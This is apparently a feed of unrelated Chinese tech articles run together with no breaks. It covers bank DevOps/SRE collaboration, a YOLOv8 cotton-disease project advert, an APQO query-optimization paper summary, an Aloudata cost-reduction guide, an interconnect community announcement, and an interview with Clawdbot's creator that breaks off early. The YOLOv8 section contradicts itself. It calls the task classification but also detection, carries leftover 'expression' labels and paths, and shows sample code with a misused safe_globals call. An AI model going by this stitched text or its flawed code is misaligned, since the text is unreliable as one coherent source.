    协作点:DevOps与SRE在文化上的共识可以进一步促进跨部门的协作。通过定期的沟通、共享目标和成功案例,推动两个团队在技术和文化层面的融合,形成高度协同的工作方式。

    以上为SRE和DevOps团队的核心协作点。

    从软件生命周期的视角来看,可以参考下面的分工表组织两个团队的协作,通过将每个生命周期阶段的任务拆解为具体的步骤,可以清晰地看到DevOps和SRE如何在软件开发、测试、部署和运维中协同合作,确保系统能够高效开发并维持高可用性和高性能。

    两者在每个阶段的密切配合,不仅提高了交付速度,还保证了系统的稳定性和可靠性,从而为金融行业的技术团队提供了清晰的协作框架,推动了银行业务的持续创新与优化。
    在这里插入图片描述

    在这里插入图片描述

    04.总结

    在银行的数字化转型和技术创新的过程中,SRE和DevOps两种模式的结合为银行系统的稳定性、性能和敏捷性提供了强大的支撑。通过推动跨团队的协作、增强自动化水平、确保系统可靠性,SRE和DevOps不仅优化了软件生命周期中的各个环节,还促进了银行运维管理的现代化与高效化。

    然而,要实现SRE与DevOps的高效协作,银行必须注重团队文化的建设,促进开发与运维团队之间的跨职能合作。同时,需要在技术选型、自动化工具链、监控系统等方面加大投入,确保两者在实践中能够发挥各自的优势,互为补充,共同推动银行业务的数字化转型和持续优化。

    总的来说,SRE和DevOps不仅是银行IT运维与开发流程的优化工具,更是推动银行技术创新、提升系统可靠性、缩短开发周期和加速产品上市的重要实践模式。未来,随着技术的不断进步,SRE和DevOps的深度协作将成为银行实现高效、可持续发展的关键因素。

    基于YOLOv8的棉花病害图像分类项目|完整源码数据集+PyQt5界面+完整训练流程+开箱即用!

    源码包含:完整YOLOv8训练代码+数据集(带标注)+权重文件+直接可允许检测的yolo检测程序+直接部署教程/训练教程

    项目摘要

    本项目基于 YOLOv8 图像分类模型,构建了一套面向棉花病害智能识别的完整解决方案。项目以棉花田间实拍数据为基础,针对病害棉花植株、病害棉花叶片、健康棉花植株、健康棉花叶片四大类别进行精准分类识别,并通过 PyQt5 可视化界面 实现模型推理结果的直观展示与交互操作。

    项目不仅提供了完整可复现的训练流程,还配套了标准化数据集、模型权重文件以及即用型推理程序,支持图片、文件夹、视频流等多种输入形式,真正做到从数据准备、模型训练到应用部署的一站式落地。该系统可广泛应用于农业病害监测、作物健康评估以及智能农业辅助决策等实际场景,具备较强的工程实用价值与扩展潜力。

    前言

    棉花作为重要的经济作物之一,其生长过程极易受到病害侵袭。传统的病害识别方式主要依赖人工经验,不仅效率低,而且受主观因素影响较大,难以满足现代农业对规模化、智能化、精准化管理的需求。

    随着深度学习与计算机视觉技术的快速发展,基于图像的作物病害识别逐渐成为研究与应用热点。其中,YOLOv8 在特征提取效率、模型推理速度以及部署友好性方面表现突出,非常适合用于农业场景下的轻量级智能识别系统构建。

    在此背景下,本项目以 YOLOv8 图像分类能力 为核心,结合 PyQt5 桌面端界面开发,从工程实战角度出发,完整展示了一个棉花病害分类系统从“数据集 → 训练 → 推理 → 可视化应用”的全流程实现,旨在为农业 AI 初学者、科研人员及工程开发者提供一个可直接参考和复用的实践范例。

    一、软件核心功能介绍及效果演示

    1. 多类别棉花病害图像分类

    系统基于训练完成的 YOLOv8 分类模型,能够对输入的棉花图像进行自动分析,并准确判别其所属类别,包括:

    • 病害棉花植株
    • 病害棉花叶片
    • 健康棉花植株
    • 健康棉花叶片

    模型在复杂光照、不同拍摄角度和多样生长阶段下依然保持良好的分类稳定性,适用于真实田间环境。


    2. 多种输入方式支持

    软件支持多种常见数据输入形式,满足不同使用场景需求:

    • 单张图片识别:快速查看单张棉花图像的分类结果
    • 文件夹批量识别:对大量图片进行自动批处理分析
    • 视频文件识别:对采集的视频进行逐帧分类判断
    • 摄像头实时识别:适用于实时巡检与现场演示

    3. PyQt5 可视化界面展示

    项目采用 PyQt5 构建桌面级可视化界面,实现了模型推理过程的图形化呈现:

    • 原始图像实时显示
    • 分类结果与置信度同步展示
    • 操作逻辑清晰,界面简洁直观
    • 无需命令行基础即可上手使用

    即使是非算法背景的用户,也可以通过界面快速体验 AI 模型的实际效果。


    4. 完整训练与部署流程

    项目源码中详细包含:

    • 数据集组织结构说明
    • YOLOv8 分类模型训练脚本
    • 模型参数配置与训练流程
    • 权重加载与推理代码
    • 本地运行与部署说明

    用户可在此基础上,快速替换为自己的农业病害数据集,实现二次训练与功能扩展。


    5. 效果演示说明

    在实际运行过程中,系统能够在毫秒级完成单张图像的分类推理,并在界面中即时给出识别结果与对应置信度。通过对比不同类别样本的识别效果,可以直观验证模型在棉花病害识别任务中的实用性与准确性。

    二、软件效果演示

    为了直观展示本系统基于 YOLOv8 模型的检测能力,我们设计了多种操作场景,涵盖静态图片、批量图片、视频以及实时摄像头流的检测演示。

    (1)单图片检测演示

    用户点击“选择图片”,即可加载本地图像并执行检测:

    image-20260113011138205


    (2)多文件夹图片检测演示

    用户可选择包含多张图像的文件夹,系统会批量检测并生成结果图。

    image-20260113011239520


    (3)视频检测演示

    支持上传视频文件,系统会逐帧处理并生成目标检测结果,可选保存输出视频:

    image-20260113011350975


    (4)摄像头检测演示

    实时检测是系统中的核心应用之一,系统可直接调用摄像头进行检测。由于原理和视频检测相同,就不重复演示了。

    image-20260113011359782


    (5)保存图片与视频检测结果

    用户可通过按钮勾选是否保存检测结果,所有检测图像自动加框标注并保存至指定文件夹,支持后续数据分析与复审。

    image-20260113011415250

    三、模型的训练、评估与推理

    YOLOv8是Ultralytics公司发布的新一代目标检测模型,采用更轻量的架构、更先进的损失函数(如CIoU、TaskAlignedAssigner)与Anchor-Free策略,在COCO等数据集上表现优异。
    其核心优势如下:

    • 高速推理,适合实时检测任务
    • 支持Anchor-Free检测
    • 支持可扩展的Backbone和Neck结构
    • 原生支持ONNX导出与部署

    3.1 YOLOv8的基本原理

    YOLOv8 是 Ultralytics 发布的新一代实时目标检测模型,具备如下优势:

    • 速度快:推理速度提升明显;
    • 准确率高:支持 Anchor-Free 架构;
    • 支持分类/检测/分割/姿态多任务
    • 本项目使用 YOLOv8 的 Detection 分支,训练时每类表情均标注为独立目标。

    YOLOv8 由Ultralytics 于 2023 年 1 月 10 日发布,在准确性和速度方面具有尖端性能。在以往YOLO 版本的基础上,YOLOv8 引入了新的功能和优化,使其成为广泛应用中各种物体检测任务的理想选择。

    image-20250526165954475

    YOLOv8原理图如下:

    image-20250526170118103

    3.2 数据集准备与训练

    采用 YOLO 格式的数据集结构如下:

    dataset/
    ├── images/
    │   ├── train/
    │   └── val/
    ├── labels/
    │   ├── train/
    │   └── val/

    每张图像有对应的 .txt 文件,内容格式为:

    4 0.5096721233576642 0.352838390077821 0.3947600423357664 0.31825755058365757

    分类包括(可自定义):

    image-20260113011435860

    3.3. 训练结果评估

    训练完成后,将在 runs/detect/train 目录生成结果文件,包括:

    • results.png:损失曲线和 mAP 曲线;
    • weights/best.pt:最佳模型权重;
    • confusion_matrix.png:混淆矩阵分析图。
    若 mAP@0.5 达到 90% 以上,即可用于部署。

    在深度学习领域,我们通常通过观察损失函数下降的曲线来评估模型的训练状态。YOLOv8训练过程中,主要包含三种损失:定位损失(box_loss)、分类损失(cls_loss)和动态特征损失(dfl_loss)。训练完成后,相关的训练记录和结果文件会保存在runs/目录下,具体内容如下:

    image-20260113011450100

    3.4检测结果识别

    使用 PyTorch 推理接口加载模型:

    import cv2
    from ultralytics import YOLO
    import torch
    from torch.serialization import safe_globals
    from ultralytics.nn.tasks import DetectionModel
    
    # 加入可信模型结构
    safe_globals().add(DetectionModel)
    
    # 加载模型并推理
    model = YOLO('runs/detect/train/weights/best.pt')
    results = model('test.jpg', save=True, conf=0.25)
    
    # 获取保存后的图像路径
    # 默认保存到 runs/detect/predict/ 目录
    save_path = results[0].save_dir / results[0].path.name
    
    # 使用 OpenCV 加载并显示图像
    img = cv2.imread(str(save_path))
    cv2.imshow('Detection Result', img)
    cv2.waitKey(0)
    cv2.destroyAllWindows()
    

    预测结果包含类别、置信度、边框坐标等信息。

    image-20260113011506053

    四.YOLOV8+YOLOUI完整源码打包

    本文涉及到的完整全部程序文件:包括python源码、数据集、训练代码、UI文件、测试图片视频等(见下图),获取方式见【4.2 完整源码下载】:

    4.1 项目开箱即用

    作者已将整个工程打包。包含已训练完成的权重,读者可不用自行训练直接运行检测。

    运行项目只需输入下面命令。

    python main.py

    读者也可自行配置训练集,或使用打包好的数据集直接训练。

    自行训练项目只需输入下面命令。

    yolo detect train data=datasets/expression/loopy.yaml model=yolov8n.yaml pretrained=yolov8n.pt epochs=100 batch=16 lr0=0.001

    4.2 完整源码

    至项目实录视频下方获取:https://www.bilibili.com/video/BV1g1rLBAEix/

    image-20250801135823301

    包含:

    📦完整项目源码

    📦 预训练模型权重

    🗂️ 数据集地址(含标注脚本)

    总结

    本项目基于 YOLOv8 图像分类模型 构建了完整的棉花病害识别系统,覆盖从 数据集准备 → 模型训练 → 推理部署 → 可视化应用 的全流程。通过整合 PyQt5 图形界面,用户无需深厚的编程基础即可实现图片、视频及实时摄像头输入的病害分类操作。

    系统在实地采集的棉花叶片和植株样本上表现出较高的识别准确率,能够有效辅助农业病害监测、作物健康评估与精准防治研究。项目不仅提供了可直接开箱使用的训练脚本和模型权重,还为二次开发、数据扩展与应用场景定制提供了完整参考,具备较强的工程落地价值与实践指导意义。

    摘要:
    传统学习型参数化查询优化依赖静态计划缓存,面对查询参数分布漂移的动态负载时缓存易失效,导致 SQL 查询延迟显著升高。OceanBase 联合华东师大团队提出 APQO 自适应参数化查询优化框架,为首个支持计划缓存在线持续演化的学习型 PQO 方法。该框架通过离线训练基础预测模型、搭配在线轻量级校准器动态修正预测误差,实现计划缓存自适应更新。实验显示,其可将查询长尾延迟降低三个数量级,节省 40%–60% 的查询延迟,相关论文成功入选数据库顶会 SIGMOD2026。

    日前,由 OceanBase 联合华东师范大学研究团队(蔡鹏教授、李思佳博士生)联合发表的论文《APQO:自适应参数化查询优化框架》登上数据库顶会—— SIGMOD2026。

    SIGMOD 是 ACM 旗下的年度会议,是数据库领域公认的权威会议。在参数化查询优化领域,本论文提出的 APQO,是首个支持计划缓存在线持续演化的学习型PQO方法。

    以下为论文介绍。

    对于结构相同但参数不同的 SQL 查询(参数化查询),引入计划缓存(Plan Cache)可以让这些查询共享执行计划。在许多实际场景中,相比每次重新生成计划,直接从缓存中获取计划的开销通常至少低一个数量级,因此计划缓存能够显著降低计划生成成本,从而有效缩短 SQL 的响应时间。

    在参数化查询优化(PQO)的相关研究中,学习型方法通常会基于历史工作负载离线准备好一组候选计划,并为这些固定的计划训练相应的计划选择模型。然而,当查询参数分布发生漂移(即动态工作负载)时,事先构建好的静态计划缓存中往往缺少真正适合当前查询的计划,缓存中糟糕计划的执行会导致 SQL 响应时间显著延长。

    为了解决动态工作负载下静态计划缓存易失效的问题,本文提出 APQO,一个自适应的参数化查询优化框架,是首个支持计划缓存在线持续演化的学习型 PQO 方法。

    简介

    APQO 通过“持续演化的计划缓存”来处理动态参数化查询工作负载。框架由多个组件组成(图 1),协同实现对存在分布漂移的参数化查询工作负载的自适应处理。其核心创新在于:APQO 拥有面向动态计划缓存的计划选择能力。为实现这一能力,APQO 设计了离线训练的基础预测模型和在线训练的轻量级校准器模型,两者配合完成对动态计划缓存的智能决策.


    图 1 APQO 框架图

    自适应参数化查询优化

    APQO 的整体工作流程包含离线和在线两个阶段。

    在离线阶段,对于一个参数化查询模板及其对应的历史工作负载,APQO 首先使用贪心算法选取候选计划集合;随后,根据历史工作负载以及相应的优化器计划,训练基础预测模型。该基础预测模型用于预测参数化查询在不同计划下的执行性能,其中包含一个用于捕捉参数化计划性能特征的计划嵌入模型。

    在在线阶段,APQO 会根据查询参数的分布特征为每个查询选择执行计划。对于参数分布已经完全偏离历史工作负载的查询,APQO 调用查询优化器生成新计划;如果当前缓存计划集中不存在该计划(或与之高度相似的计划),则将该计划加入缓存,以便后续查询重用。而对分布内的查询,APQO 使用基础预测模型和在线校准器,对缓存计划的性能进行预测,并据此选择合适的执行计划。

    基础预测模型

    基础预测模型的任务是在给定缓存计划和查询参数的情况下,预测该计划执行查询时的性能。尽管已有工作对查询性能预测问题进行了研究,但由于同一查询模板下不同可执行计划之间往往存在大量相似的局部结构,传统方法很难直接从中学习出计划之间的性能差异。

    针对这一问题,APQO 设计了一种专门针对参数化查询计划的嵌入学习方法(图 2),用以增强预测模型的泛化能力。该计划嵌入表示能够捕捉不同计划之间潜在的性能相似性:当两种计划在多种参数绑定下表现出相近的执行性能时,它们在嵌入空间中的表示也会更为接近。

    基于这一执行计划嵌入,APQO 构建基础预测模型,以计划嵌入与查询参数为输入,输出对应的执行性能预测,为后续的计划选择提供依据。


    图 2 用于计划嵌入学习的孪生神经网络结构

    在线校准器

    嵌入技术的引入可以显著提升基础模型对新计划的性能预测能力。然而,由于基础模型对新计划的认知仍然有限,再加上在线执行环境中计划性能可能随时间波动,仅依赖离线训练仍难以达到理想效果。为此,APQO 提出了一种基于在线学习的校准模型,通过持续学习查询的真实执行反馈,对基础预测模型的预测误差(残差)进行动态修正。

    在在线环境中,训练数据往往稀疏且呈偏态分布。为应对这一挑战,除了收集在线环境中特定“计划–查询组合”的真实性能反馈外,APQO 采用混合学习数据增强策略,将模拟数据与反馈数据相结合,在保证模型轻量化的同时,加速在线训练过程中的收敛。最终,在线校准模型与离线训练的基础预测模型协同工作,共同完成面向动态负载的计划选择任务。

    性能成果

    实验表明,在处理存在分布漂移的动态工作负载时,APQO 的自适应能力可以在保持较高计划缓存命中率的同时,将使用计划缓存的查询相对延迟的长尾分布相较于既有学习型 PQO 方法降低三个数量级。

    这表明 APQO 能够有效缓解在动态工作负载场景中,由静态计划缓存失效所带来的劣质计划执行,延迟大幅升高的问题,使“计划重用”这一机制得以自然扩展到更加复杂的动态环境中。

    基于公开 benchmark 和真实工业负载的评测结果显示,APQO 可以节省约 40%–60% 的查询延迟。

    欢迎访问 OceanBase 官网获取更多信息:https://www.oceanbase.com/

    本文首发于 Aloudata 官方技术博客:《智能制造数据资产瘦身指南:三步实现 TCO 最优,释放 50% 成本》转载请注明出处。

    摘要:本文针对智能制造企业面临的数据存储成本高昂、分析效率低下问题,提出一套基于 NoETL 语义编织技术的现代化数据资产瘦身方法论。该方法论通过架构重构、智能治理、敏捷服务三个核心步骤,系统性解决数据冗余、指标口径混乱和需求响应迟缓三大痛点,旨在帮助企业实现总体拥有成本(TCO)降低 30%-50%,并显著提升数据服务效率。

    面对海量质检数据与严苛的长期保存合规要求,智能制造企业正陷入数据存储成本高昂、分析效率低下的困境。本文提出一套融合“湖仓一体”与“AI 自动化数据管理”趋势的现代化数据资产瘦身方法论,通过引入 NoETL 语义编织技术,从架构重构、智能治理到敏捷服务三个步骤,系统性解决数据冗余、口径混乱与响应迟缓三大痛点,帮助企业实现总体拥有成本(TCO)降低 30%-50%,并释放超过 1/3 的服务器资源。本文面向制造业的数据架构师、CDO 及 IT 主管,提供一套可量化、可执行的实践指南。

    前置条件:诊断你的“数据肥胖症”

    在采取任何“瘦身”行动前,必须清晰量化当前数据资产的“肥胖”程度。对于智能制造企业,尤其是涉及精密制造(如半导体、汽车零部件)的领域,数据成本困局通常表现为三大核心症状,其根源在于传统的“烟囱式”宽表开发模式。

    1. 量化冗余:存储空间的“隐形浪费” 行业观察普遍指出,企业数据湖仓中的数据冗余平均在 5 倍以上。这并非危言耸听。以碳化硅衬底龙头天岳先进的实践为例,其单个厂区年增质检图片文件数量达 数亿至 10亿+级别,按《IATF16949 汽车行业质量管理体系标准》要求保存 15 年以上,数据总量将达 数百亿文件、数十 PB 的惊人规模。传统模式下,为满足不同报表需求,同一份DWD明细数据被反复加工成多个物理宽表(ADS 层),导致存储成本呈几何级数增长。
    2. 识别混乱:指标口径的“诸侯割据” 业务部门抱怨数据“不准”,根源在于指标逻辑被分散定义在物理表、ETL 脚本、BI 报表等各处。例如,“生产线 OEE(设备综合效率)”在 MES 系统、质量分析平台和总经理驾驶舱中可能存在三种不同的计算逻辑(停机时间定义、计划时间范围等),形成“同名不同义”的口径之困。这不仅影响决策质量,更在数据回溯和审计时带来巨大风险。
    3. 评估迟缓:需求响应的“周级排期” 当业务人员提出一个新的分析维度(如“按新供应商批次分析缺陷率”)时,传统流程需要数据团队重新设计宽表、编写 ETL 任务、进行数据验证,整个周期往往长达 数周。这种响应速度在快节奏的制造业竞争中,意味着错失质量改进和成本优化的黄金窗口期。

    第一步:架构重构——从“物理宽表”到“虚拟业务事实网络”

    要根治“数据肥胖症”,必须从源头改变数据生产和消费的架构模式。核心是摒弃为每个报表独立建物理宽表的“烟囱式”开发,转而构建一个基于明细数据的、逻辑统一的虚拟业务事实网络。

    • 技术原理:声明式语义编织 这一转变依赖于 语义引擎(Semantic Engine) 的核心能力。它直接在未打宽的 DWD 明细数据层上,通过 声明式策略,由用户在界面配置业务实体间的逻辑关联(Join)。系统据此在逻辑层面构建一个“虚拟明细大宽表”或“虚拟业务事实网络”,而非物理上复制和拼接数据。当查询请求到来时,引擎自动将基于指标和维度的逻辑查询,翻译并优化为对底层明细表的高效 SQL 执行。
    • 对比优势:从“固化”到“灵动”

      维度传统物理宽表模式虚拟业务事实网络模式
      开发方式为特定报表预先开发物理表,固化维度和粒度。基于明细数据声明逻辑关联,按需动态组合。
      冗余度高。多个宽表存储大量重复数据。极低。一份明细数据支撑所有逻辑视图。
      灵活性差。新增维度需重建宽表,周期长。极强。业务人员可拖拽任意已有维度进行分析。
      维护成本高。宽表逻辑变更需回刷数据,影响下游。低。逻辑变更集中管理,系统提示影响范围。
    • 湖仓一体适配:发挥底层架构优势 这种架构与现代化的 湖仓一体 平台天然契合。语义引擎直接对接湖仓中的 DWD 层明细数据(通常存储于低成本的 Parquet/ORC 格式文件中),充分利用其 存储与计算分离、弹性扩展的特性。企业无需推翻现有数据底座,即可在其上构建轻量、敏捷的语义层,实现“做轻数仓”。

    第二步:智能治理——嵌入生产流程的自动化“瘦身”机制

    架构重构解决了数据冗余的“存量”问题,而智能治理则通过自动化机制,从“增量”和“使用”环节持续优化,将治理动作从“事后稽核”变为“事中内嵌”。

    1、定义即治理:从源头统一口径 在语义引擎中定义指标时,系统会基于指标的逻辑表达式(基础度量、业务限定、统计周期、衍生计算)进行 自动判重校验。如果发现逻辑完全一致的指标,会提示复用,从源头上杜绝“同名不同义”或“同义不同名”的问题,确保企业指标口径 100% 一致。这改变了以往靠文档和人工评审的低效治理模式。

    2、智能物化加速:以空间换时间,复用降成本 为了平衡灵活性与查询性能,平台采用 声明式驱动的智能物化加速引擎。用户可以根据业务场景,声明对特定指标组合(如“日粒度-产品线-缺陷数量”)进行物化加速的需求和时效。系统据此自动编排物化任务,并具备关键能力:

    • 自动判重与合并:当多个查询或物化声明逻辑相似时,系统自动识别并合并计算任务,生成共享的物化表,避免重复计算与存储。
    • 三级物化机制:支持明细加速、汇总加速和结果加速,智能路由查询至最优的物化结果,实现亿级数据秒级响应(P90<1s)。
    • 透明运维:物化表的创建、更新、生命周期管理均由系统自动完成,极大减轻运维负担。

    3、TCO 直接优化:来自实践的量化成效 这种“架构+治理”的组合拳,直接作用于企业的总体拥有成本(TCO)。例如,某头部券商在引入Aloudata CAN 后,实现了 基础设施成本节约 50%,并 释放了超过 1/3 的服务器资源。其本质是通过消除冗余的物理宽表开发与存储,以及智能复用计算资源,将存算成本从线性增长转变为可控的平缓增长。

    第三步:敏捷服务——以统一指标API驱动业务价值变现

    “瘦身”的最终目的不是节流,而是为了更好地赋能业务、创造价值。第三步是将治理后的、高质量的数据资产,通过标准、开放的方式,高效、安全地交付给各消费端。

    1、统一服务出口:企业指标的“计算中心” 语义引擎平台成为企业指标资产的唯一“注册中心”和“计算中心”。它对外提供标准的 JDBC 接口 和 RESTful API,使得任何需要数据消费的工具或系统,都能通过统一的协议和口径获取数据。这彻底解决了数据出口分散、口径不一的历史难题。

    2、赋能业务自助:激活“数据民主化” 业务人员和分析师无需编写 SQL,即可通过简单的拖拽操作,将已定义的“指标”与“维度”进行灵活组合,完成自助分析。例如,质量工程师可以快速分析“近一周各生产线、针对某新物料供应商的缺陷类型分布”。这种模式将大量常规分析需求从 IT 部门释放,显著提升业务响应速度,某央国企实践表明,业务自助可完成 80% 的数据查询和分析需求。

    3、原生 AI 适配:根治幻觉的智能问数 面对AI浪潮,传统的“NL2SQL”方式因直接面对杂乱物理表而幻觉风险高。基于语义引擎的 “NL2MQL2SQL” 架构提供了更优解:

    • 流程:用户自然语言提问 → LLM 进行意图理解,生成结构化的指标查询语言(MQL,包含 Metric, Filter, Dimensions) → 语义引擎将 MQL 翻译为 100% 准确的优化 SQL 并执行。
    • 优势:将开放性的“写代码”问题,收敛为在已治理的指标库中“做选择”的问题,从根本上 根治幻觉。同时,结合行列级权限管控,确保AI问数的 安全性 与 合规性。某央国企的智能问数准确率已达 92%。

    避坑指南:实施“数据瘦身”计划的三大关键决策

    成功实施不仅关乎技术选型,更在于正确的组织策略与实施路径。

    1、策略选择“三步走”:平滑演进,规避风险 参考 Aloudata CAN 的落地指南,推荐采用资产演进的“三步走”法则:

    • 存量挂载:将逻辑成熟、性能尚可的现有物理宽表直接挂载到新平台,确保历史报表业务 零中断。
    • 增量原生:所有新产生的分析需求,必须通过平台的语义层原生定义和响应,从源头 遏制宽表继续膨胀。
    • 存量替旧:逐步将维护成本高、逻辑混乱的“包袱型”旧宽表迁移下线,用更优的逻辑模型替代。

    2、组织能力建设:“136”协作模式 改变传统IT包揽一切的模式,建立新的协作范式。例如平安证券实践的 “136”模式:10% 的科技人员负责定义原子指标和底层模型;30% 的业务分析师负责配置复杂的派生指标和业务场景;60% 的终端业务用户进行灵活的指标组装和自助分析。这培养了企业的数据民主化文化。

    3、规避“重工具轻架构”:选择动态计算引擎 避免仅仅采购一个静态的指标目录或元数据管理工具。这类工具只能“管”不能“算”,依然依赖底层物理宽表。应选择具备 动态计算能力 和 智能物化引擎 的语义平台,真正实现逻辑与物理解耦,从架构上达成瘦身目标。

    成功标准:如何衡量你的 TCO 优化成效?

    设定可量化的关键绩效指标(KPI),从三个维度评估“数据瘦身”项目的成功。

    维度关键指标 (KPI)目标参考值
    成本维度存储与计算资源消耗降低百分比30% - 50%
    物理宽表/汇总表数量减少率> 50%
    效率维度指标开发效率提升倍数10 倍 (如从 1 天 3 个到 1 天 40 个)
    业务自助分析需求占比> 60%
    质量维度核心业务指标口径一致率100%
    智能问数(NL2SQL)准确率> 90%

    常见问题(FAQ)

    Q1: 我们已经在使用数据湖/数据仓库,引入“语义引擎”会不会增加架构复杂度和成本?

    不会。语义引擎(如 Aloudata CAN)旨在简化架构。它直接对接您现有的 DWD 层或湖仓,无需新建大量物理宽表(ADS 层),通过逻辑关联和智能物化复用计算,反而能减少数据冗余和重复开发,是降低总体拥有成本(TCO)的关键。

    Q2: “数据瘦身”过程中,如何保证历史报表和业务分析的连续性?

    推荐采用“三步走”策略。首先,将逻辑稳定、性能尚可的现有宽表直接挂载到新平台,确保历史报表无缝运行。然后,所有新需求通过平台原生定义,遏制宽表膨胀。最后,逐步将维护成本高的旧宽表迁移下线,实现平滑过渡。

    Q3: 对于缺乏高级数据人才的制造企业,如何落地这种现代化的数据管理方法?

    NoETL 模式的核心价值之一就是降低技术门槛。通过“定义即开发”的零代码配置和“NL2MQL2SQL”的智能问数,业务人员和分析师能承担大量分析工作。企业可以从一个核心业务场景(如生产质量追溯)切入,快速验证价值,再逐步推广,实现“弯道超车”。

    核心要点

    1. 架构解耦是根本:通过构建基于 DWD 明细层的 虚拟业务事实网络,取代烟囱式物理宽表,从源头上消除数据冗余,这是实现 TCO 优化的架构基础。
    2. 治理必须自动化内嵌:将 定义即治理 与 智能物化加速 融入数据生产流程,通过系统自动判重、合并计算任务,在保障口径一致与查询性能的同时,持续优化存算成本。
    3. 服务化与 AI 原生是价值放大器:以统一、标准的指标 API 驱动业务自助与AI应用,特别是通过 NL2MQL2SQL 架构实现安全、准确的智能问数,将“瘦身”后的数据资产高效转化为业务决策力与创新力。

    **本文详细内容及高清交互图表,请访问 Aloudata 官方技术博客原文:https://ai.noetl.cn/knowledge-base/smart-manufacturing-cost-t...

    [中国,上海,2026年1月29日] 今日,灵衢互联社区筹备工作会议在上海顺利召开。本次会议汇聚用户、厂商、高校及开发者,共同探讨超节点互联技术的未来演进和灵衢互联社区建设方向。会上介绍了社区筹备委员会组织架构和职责目标,标志着灵衢互联社区筹备工作正式启动。社区坚持“共建、共享、共治”理念,诚邀各方积极加入共同定义超节点互联技术标准,促进互联技术发展和产业进步,实现灵衢繁荣生态。

    499bf134a93489465766e959a86e2f43_20260129183927144770415.png

                                灵衢互联社区筹备工作会议现场
    

    会上,灵衢互联社区筹备组整体介绍了社区筹备委员会组织架构,灵衢规范的版本规划节奏,并成立六大核心筹备工作组,以此推进社区筹备期间的各项工作。与会代表们结合自身技术方向展开工作组研讨,确认了加入工作组的意向,共同表示希望参与到社区的共建工作。

    一个成熟协议的社区须具备“协议规范、仿真验证、兼容测试”三个核心能力。基于此,本次成立的工作组包括协议规范组、软件系统组、仿真验证组、兼容测试组、应用场景组和会员拓展组,形成从底层协议到上层应用的完整工作团队,确保互联技术的领先与产业的兼容。

    协议规范组,将负责灵衢基础协议的演进、版本管理和发布,确保底层技术的持续领先,且各环节节奏一致。

    软件系统组,将围绕灵衢基础规范制定配套的软件规范和参考设计,推广灵衢相关软件。

    仿真验证组,将为用户提供面向灵衢系统的专业仿真平台,实现灵衢生态产品的性能仿真与功能仿真,支撑灵衢相关部件和产品完成性能预测与指标分析。

    兼容测试组,将负责制定统一的灵衢兼容性测试规范,推动认证体系构建和演进,确保社区清单产品具备高度的互操作性与可靠性。

    应用场景组,将深度挖掘灵衢在各行业场景下的应用价值,在社区和最终用户之间构建起桥梁,让灵衢在行业场景中发挥更大价值。

    会员拓展组,将打造“有规则、可参与、可信任”的社区,建立认证机制,形成社区文化,汇聚更多有意愿的生态伙伴。

    回看过去,每一次IT产业的更迭,都不是单纯的技术升级,而是架构创新、商业模式、生态体系的根本性重构。面向未来,超节点互联技术的创新正在开创AI基础设施新范式,对于AI时代计算产业的重要性不言而喻。灵衢互联社区欢迎每一位开发者加入,共建灵衢开放技术生态,共促计算产业繁荣发展。

    Clawdbot(现名:Moltbot)火了到国内,社交平台上到处都是部署教学、使用教学和使用展示。国内的腾讯云、阿里云等也相继宣布上线 Clawdbot 云端极简部署及全套云服务,钉钉也在 Github 上开源了 Moltbot 接入方式。

     

    项目背后的创始人 Peter Steinberger 也红极一时,他的构建方式成为很多人的学习对象。Peter 之前就是一位非常出色的开发者,打造了一个被用在超过十亿台设备上的 PDF 框架。后来他经历了严重的职业倦怠,卖掉股份,整整三年从科技圈消失。今年,他回来了,而他现在的构建方式、正在做的事情,已经和传统软件开发完全不同。

     

    Peter 近期在“The Pragmatic Engineer”节目中,用近两个小时的时间分享了他的开发经历。他解释了,为什么他现在发布的代码,大部分自己都不再逐行阅读,而这其实并没什么大不了;他具体是如何打造了 ClawdBot 这个看起来就像 Siri 未来版本的个人助手的;他如何利用“闭环原则”,高效进行 AI 编程;为什么代码评审已经过时,PR 应该改名叫 Prompt Request 等,他还分享了很多关于软件工程工作流在未来几年可能发生的变化。

     

    Peter 可以称得上是“AI 重塑开发方式”的最佳实践者之一。我们整理翻译了这期干货满满的对话,并在不改变原意基础上进行了删减,以飨读者。

     

    怎么入行的?

     

    主持人:这次终于线下见到你了,太棒了。

     

    Peter:是啊,差点还搞砸了。

     

    主持人:怎么回事?是忘了时间吗?你经常这样吗?

     

    Peter:其实不太常见。只是最近这个时间点比较特殊,因为我最近的项目 ClawdBot 突然火了。说实话,有点睡不够了。但这种感觉也很有意思,我从来没经历过一个社区在这么短时间内爆发。真的非常好玩。

     

    主持人:在聊 ClawdBot 之前,我们先把时间拉回去。你做的 PSPDFKit,据说被用在超过十亿台设备上,基本上你看到一个 PDF 被渲染,很可能背后就是它。那在更早之前,你是怎么进入技术行业的?

     

    Peter:天哪,这得从很早说起了。我来自奥地利一个小地方,一直比较内向,经常被欺负。那时候,夏天总会有客人来家里,其中有个电脑迷,我迷上了他的机器,天天盯着这台机器研究,最后求妈妈给我买了一台。从那以后,我就彻底陷进去了。

     

    主持人:那时候你还在读中学?

     

    Peter:差不多吧,大概十四岁。我最早做的事情之一,是从学校“顺”了一张老 DOS 游戏的软盘,然后自己写了个拷贝保护,好拿去卖。加载一次要两分钟,但我当时觉得这事特别酷。当然也打了很多游戏,不过对我来说,做东西本身就像在玩游戏。说实话,现在做事带来的成就感,比通关游戏还爽。

     

    一开始我看的是类似 Windows 的 bash 脚本,然后做网站,写一点 JavaScript,虽然完全不知道自己在干嘛。真正系统性地学“怎么构建东西”,是上大学之后。我从没见过我父亲,家里也很穷,所以我一直要打工,学费生活费都得自己赚。别人放假的时候,我就在公司全职上班。

     

    我第一份正式工作在维也纳,本来只打算干一个月,结果他们留了我六个月,后来我在那家公司工作了大概五年。第一天他们给了我一本厚厚的书,上面写着“Microsoft MFC”,到现在我做梦还会被吓醒。我当时心想,这也太糟了。

     

    后来我干脆悄悄用 .NET,也没跟他们说。过了几个月我才摊牌,说我顺便做了点“技术栈现代化”。反正木已成舟,他们居然也一直留着我,大概因为事情确实做成了。我实际上还挺喜欢.NET 2.0 的泛型,不过应用启动慢得要命,第一次跑基本要等很久,老 Windows 用户应该都懂。

     

    主持人:那你后来是怎么接触到 iOS,又是怎么想到做 PSPDFKit 的?

     

    Peter:那是后面的事了。上大学时,有个朋友给我看了 iPhone。我就摸了一分钟,立刻决定要弄一台。那一刻真的像被雷劈了一样,完全不一样,完全是另一个层级的体验。但当时我其实还没想过要给它做应用。

     

    主持人:那大概是 2009、2010 年左右?

     

